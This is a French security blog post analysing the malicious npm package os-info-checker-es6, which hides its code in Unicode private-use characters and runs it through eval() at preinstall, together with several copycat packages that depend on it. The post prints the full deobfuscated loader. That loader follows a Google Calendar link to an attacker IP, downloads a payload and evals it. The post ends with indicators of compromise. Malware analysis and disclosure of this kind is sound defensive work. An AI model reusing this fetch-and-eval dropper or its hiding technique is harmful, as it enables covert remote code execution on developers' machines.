Le 19 mars 2025, nous avons découvert un package nommé os-info-checker-es6 et avons été pris au dépourvu. Nous avons pu constater que cela ne tenait pas ses promesses. Mais quel est le problème ? Nous avons décidé d'enquêter sur la question et avons initialement rencontré des impasses. Mais la patience finit par payer, et nous avons finalement obtenu la plupart des réponses que nous cherchions. Nous avons également appris l'existence des PUA Unicode (non, pas les artistes de la drague). Ce fut une véritable montagne russe émotionnelle !
Qu'est-ce que le package ?
Le package ne fournit pas beaucoup d'indices en raison de l'absence de README fichier. Voici à quoi ressemble le package sur npm :

Pas très informatif. Mais il semble qu'il récupère des informations système. Continuons.
Le code malodorant le trahit
Notre pipeline d'analyse a immédiatement soulevé de nombreux signaux d'alarme du package preinstall.js fichier en raison de la présence d'un eval() appel avec une entrée encodée en base64.

Nous voyons le eval(atob(...)) appel. Cela signifie « Décoder une chaîne base64 et l'évaluer », c'est-à-dire exécuter du code arbitraire. Ce n'est jamais bon signe. Mais quelle est l'entrée ?
L'entrée est une chaîne de caractères qui résulte de l'appel de decode() sur un module Node natif fourni avec le package. L'entrée de cette fonction ressemble à… Juste un |?! Quoi ?
Nous avons plusieurs questions importantes ici :
- Que fait la fonction de décodage ?
- Quel est le lien entre le décodage et la vérification des informations OS ?
- Pourquoi est-ce
eval()En train de le faire ? - Pourquoi la seule entrée est-elle un
|?
Allons plus loin
Nous avons décidé de faire de la rétro-ingénierie sur le binaire. Il s'agit d'un petit binaire Rust qui ne fait pas grand-chose. Nous nous attendions initialement à voir des appels à des fonctions pour obtenir des informations sur le système d'exploitation, mais nous n'avons RIEN vu. Nous avons pensé que le binaire cachait peut-être d'autres secrets, fournissant la réponse à notre première question. Plus d'informations à ce sujet plus tard.
Mais alors, qu'en est-il de l'entrée de la fonction qui n'est qu'un |? C'est là que les choses deviennent intéressantes. Ce n'est pas l'entrée réelle. Nous avons copié le code dans un autre éditeur, et ce que nous voyons est :

Womp-womp ! Ils ont failli s'en tirer. Ce que nous voyons est appelé caractères Unicode d'« accès à usage privé ». Ce sont des codes non attribués dans la norme Unicode, réservés à un usage privé que les utilisateurs peuvent utiliser pour définir leurs propres symboles pour leur application. Ils sont intrinsèquement non imprimables, car ils n'ont aucune signification inhérente.
Dans ce cas, le décoder l'appel au binaire Node natif décode ces octets en caractères ASCII encodés en base64. Très astucieux !
Essayons-le
Nous avons donc décidé d'examiner le code réel. Heureusement, il enregistre le code qu'il a exécuté dans un fichier run.txt. Et c'est juste ceci :
console.log('Check');C'est vraiment inintéressant. Que manigancent-ils ? Pourquoi déploient-ils tant d'efforts pour cacher ce code ? Nous étions stupéfaits.
Mais alors…
Nous avons commencé à voir des packages publiés qui dépendaient de ce package, l'un d'entre eux provenant du même auteur. Il s'agissait de :
skip-tot(19 mars 2025)- C'est une copie du package
vue-skip-to.
- C'est une copie du package
vue-dev-serverr(31 mars 2025)- C'est une copie du dépôt https://github.com/guru-git-man/first.
vue-dummyy(3 avril 2025)- C'est une copie du package
vue-dummy.
- C'est une copie du package
vue-bit(3 avril 2025)- Se fait passer pour le package
@teambit/bvm. - Il ne contient aucun code réel.
- Se fait passer pour le package
Ils ont tous en commun d'ajouter os-info-checker-es6 en tant que dépendance mais n'appelle jamais le décoder fonction. Quelle déception. Nous ne sommes pas plus avancés sur ce que les attaquants espéraient faire. Rien ne s'est passé pendant un certain temps jusqu'à ce que la os-info-checker-es6 le package a été mis à jour de nouveau après une longue pause.
ENFIN
Cette affaire me trottait dans la tête depuis un certain temps. Cela n'avait aucun sens. Qu'essayaient-ils de faire ? Avais-je manqué quelque chose d'évident lors de la décompilation du module natif Node ? Pourquoi un attaquant brûlerait-il cette nouvelle capacité si tôt ? La réponse est venue le 7 mai 2025, lorsqu'une nouvelle version de os-info-checker-es6, version 1.0.8, est sorti. Le preinstall.js a changé.

Oh, regardez, la chaîne de caractères obfusquée est beaucoup plus longue ! Mais le eval l'appel est commenté. Ainsi, même si une charge utile malveillante existe dans la chaîne obfusquée, elle ne serait pas exécutée. Quoi ? Nous avons exécuté le décodeur dans un sandbox et affiché la chaîne décodée. La voici après un peu d'embellissement et d'annotations manuelles :
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Avez-vous vu l'URL de Google Calendar dans l'orchestrateur ? C'est une chose intéressante à voir dans un malware. Très surprenant.
Vous êtes tous invités !
Voici à quoi ressemble le lien :

Une invitation de calendrier avec une chaîne encodée en base64 comme titre. Magnifique ! La photo de profil de pizza m'a fait espérer que c'était peut-être une invitation à une fête de la pizza, mais l'événement est prévu pour le 7 juin 2027. Je ne peux pas attendre aussi longtemps pour une pizza. Je prendrai une autre chaîne encodée en base64, cependant. Voici ce à quoi elle se décode :
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3DDans une impasse... encore une fois
Cette enquête a été pleine de rebondissements. Nous pensions être dans une impasse, pour que des signes de vie réapparaissent. Nous avons été si près de découvrir la VRAIE intention malveillante du développeur, mais nous n'y sommes pas tout à fait parvenus.
Ne vous y trompez pas, il s'agissait d'une approche inédite d'obfuscation. On pourrait penser que quiconque consacrerait autant de temps et d'efforts à une telle tâche exploiterait les capacités développées. Au lieu de cela, ils semblent n'en avoir rien fait, dévoilant ainsi leurs intentions.
En conséquence, notre moteur d'analyse détecte désormais des schémas comme celui-ci, où un attaquant tente de masquer des données dans des caractères de contrôle non imprimables. C'est un autre cas où tenter d'être astucieux, plutôt que de rendre la détection plus difficile, génère en fait plus de signal. Parce que c'est si inhabituel que cela ressort et agite un grand panneau disant « JE PRÉPARE UN MAUVAIS COUP ». Continuez votre excellent travail. 👍
Indicateurs de compromission
Packages
os-info-checker-es6skip-totvue-dev-serverrvue-dummyyvue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Reconnaissance
Au cours de cette investigation, nous avons été aidés par nos excellents amis de Vector35, qui nous ont fourni une licence d'essai pour leur outil Binary Ninja afin de nous assurer que nous comprenions parfaitement le module Node natif. Un grand merci à l'équipe pour leur excellent produit. 👏
Sécurisez votre logiciel dès maintenant.



.avif)
